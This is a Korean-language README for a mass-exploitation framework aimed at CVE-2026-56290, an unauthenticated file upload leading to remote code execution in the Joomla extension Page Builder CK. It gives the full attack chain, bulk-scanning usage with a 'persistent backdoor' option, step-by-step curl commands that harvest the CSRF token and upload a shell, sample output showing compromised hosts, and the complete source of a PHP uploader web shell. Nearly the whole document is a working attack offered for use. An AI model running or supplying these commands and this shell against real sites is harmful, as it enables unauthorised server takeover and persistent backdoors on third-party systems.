
📤 CVE-2026-56290를 위한 대량 익스플로잇 프레임워크 — Page Builder CK Joomla의 인증되지 않은 파일 업로드로 인한 RCE
CVE-2026-56290는 Page Builder CK (com_pagebuilderck)에서 발견된 치명적인 심각도의 취약점입니다. 이 취약점은 인기 있는 Joomla 페이지 빌더 확장 프로그램으로, browse.ajaxAddPicture 컨트롤러 메서드가 사용자 제어 가능한 대상 경로로 인증되지 않은 파일 업로드를 허용하여 공격자가 웹 접근 가능 디렉터리에 임의의 PHP 파일을 작성할 수 있게 합니다.
// browse.php 컨트롤러 — 인증 확인 없음
function ajaxAddPicture() {
$input = JFactory::getApplication()->input;
$file = $input->files->get('file', null); // ← 사용자 제어 파일
$path = trim($input->get('path', '')); // ← 사용자 제어 경로, trim()만 적용!
// ... 파일을 $path로 업로드하며 대상 경로를 검증하지 않음
}
path 매개변수는 trim() 정리만 수행됩니다 — 화이트리스트 없음, 디렉터리 트래버설 검사 없음, 인증 게이트 없음. 모든 Joomla 페이지에서 공개적으로 접근 가능한 CSRF 토큰과 결합하여 공격자는 모든 쓰기 가능한 디렉터리에 PHP 셸을 원격으로 업로드할 수 있습니다.
| 벡터 | 심각도 | 영향 |
|---|---|---|
| 인증되지 않은 파일 업로드 | 9.8 (치명적) | 임의 PHP 코드 실행 |
| CSRF 토큰 수집 | 5.3 (중간) | 업로드 체인 활성화 |
| 정보 노출 | 5.3 (중간) | 확장 프로그램 버전 지문 확인 |
1. HIT Joomla homepage → harvest CSRF token (hex32 + value "1")
2. POST file upload → task=browse.ajaxAddPicture&{token}=1
3. PHP shell lands in → media/com_pagebuilderck/gfonts/shell.php
4. GET shell URL → code executes, RCE confirmed
5. POST f=@file to shell → upload additional tools
6. GET ?cleanup=1 → shell self-destructs
| Page Builder CK 버전 | 상태 | 참고 |
|---|---|---|
| 3.1.1 이하 | 🔴 취약 | 인증되지 않은 업로드 확인됨 |
| 3.4.10 이하 | 🔴 취약 | 분석에 따른 확장 범위 |
| 3.5.10 이하 | 🔴 취약 | 일부 패치된 변형이 있을 수 있음 |
| > 3.5.10 | 🟢 패치 가능성 있음 | manifest XML로 확인 |
참고: 버전은
/administrator/manifests/files/com_pagebuilderck.xml의 Joomla manifest 파일에서 감지됩니다. manifest에 접근할 수 없는 경우 스캐너는 기본적으로 대상을 잠재적으로 취약한 것으로 간주합니다.
🔍 정찰
|
💀 익스플로잇
|
# 리포지토리 클론
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit
# 의존성 설치
pip install -r requirements.txt
# 확인
python cve_2026_56290.py --help
requests>=2.28.0
urllib3>=1.26.0
CVE-2026-56290 — PageBuilderCK 인증되지 않은 RCE | 대량 익스플로잇 및 검증기
-t, --target 단일 대상 URL
-f, --file 대상 URL이 포함된 파일 (한 줄에 하나, #은 주석)
-o, --output 실시간 TXT 출력 파일 (기본값: cve-2026-56290_live.txt)
--json JSON 보고서 파일 경로 (기본값: cve-2026-56290_report.json)
--threads 동시 작업자 수 (기본값: 20)
--timeout 요청 제한 시간(초) (기본값: 15)
--no-cleanup 대상에 셸 유지 (지속적 백도어)
-v, --verbose 상세 엔드포인트 발견 출력
--known-endpoint 발견 건너뛰기: 작업,파일매개변수,폴더매개변수
# 단일 대상
python cve_2026_56290.py -t https://target.com
# 파일에서 대량 스캔
python cve_2026_56290.py -f targets.txt
# 사용자 정의 출력 + 상세
python cve_2026_56290.py -f targets.txt -o results.txt -v
# 셸 유지 (지속적 백도어)
python cve_2026_56290.py -t https://target.com --no-cleanup
# 알려진 엔드포인트로 발견 건너뛰기
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"
# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# 주석 및 빈 줄은 무시됩니다
$ python cve_2026_56290.py -f targets.txt -o live_results.txt
────────────────────────────────────────────────────────────
CVE-2026-56290 | 5개 대상 | 20개 스레드 | 정리=예
실시간 TXT: live_results.txt
2026-07-04 15:30:00
────────────────────────────────────────────────────────────
✅ https://target-vuln.com [RCE 확인됨] 12.4s
PBCK: 3.4.7 [취약]
RCE : ext=php | path=media/com_pagebuilderck/gfonts/
셸: https://target-vuln.com/media/com_pagebuilderck/gfonts/pbck_a3f2b9c1.php
사용법: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | file=file | folder=path
🛡️ https://target-patched.com [패치됨] 3.2s
✅ https://target-vuln2.com [RCE 확인됨] 15.1s
PBCK: 3.1.0 [취약]
RCE : ext=pHP | path=media/com_pagebuilderck/fonts/
셸: https://target-vuln2.com/media/com_pagebuilderck/fonts/pbck_x7k2m4v9.pHP
사용법: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | file=file | folder=path
==================================================
스캔 요약
==================================================
전체 : 5
✅ RCE 확인됨 : 2
⚠️ RCE 실패 : 1
🛡️ 패치됨 : 1
🔍 차이 필요 : 0
❌ Joomla 아님 : 0
⏭️ 구성 요소 없음 : 1
💥 오류 : 0
==================================================
1단계 — CSRF 토큰 수집
curl -sk 'https://target.com/' | grep -oP 'name="[a-f0-9]{32}" value="1"'
# name="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" value="1"
2단계 — PHP 셸 업로드
TOKEN="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"
curl -sk \
-F "[email protected];type=application/x-php" \
-F "path=media/com_pagebuilderck/gfonts/" \
"https://target.com/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${TOKEN}=1"
3단계 — RCE 확인
curl -sk 'https://target.com/media/com_pagebuilderck/gfonts/shell.php'
# → PHP 셸 출력, 코드 실행 확인
스캐너는 exec(), system(), eval()이 필요 없는 자체 포함 업로더 셸을 배포합니다:
<html><body>
<form method=post enctype=multipart/form-data>
<input type=file name=f>
<input type=submit value=Upload>
</form>
<pre><?php
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo $_FILES['f']['name'].' OK';
}
if(isset($_GET['cleanup'])){
@unlink(__FILE__);
die('CLEANED');
}
echo '<unique-validation-token>';
?></pre></body></html>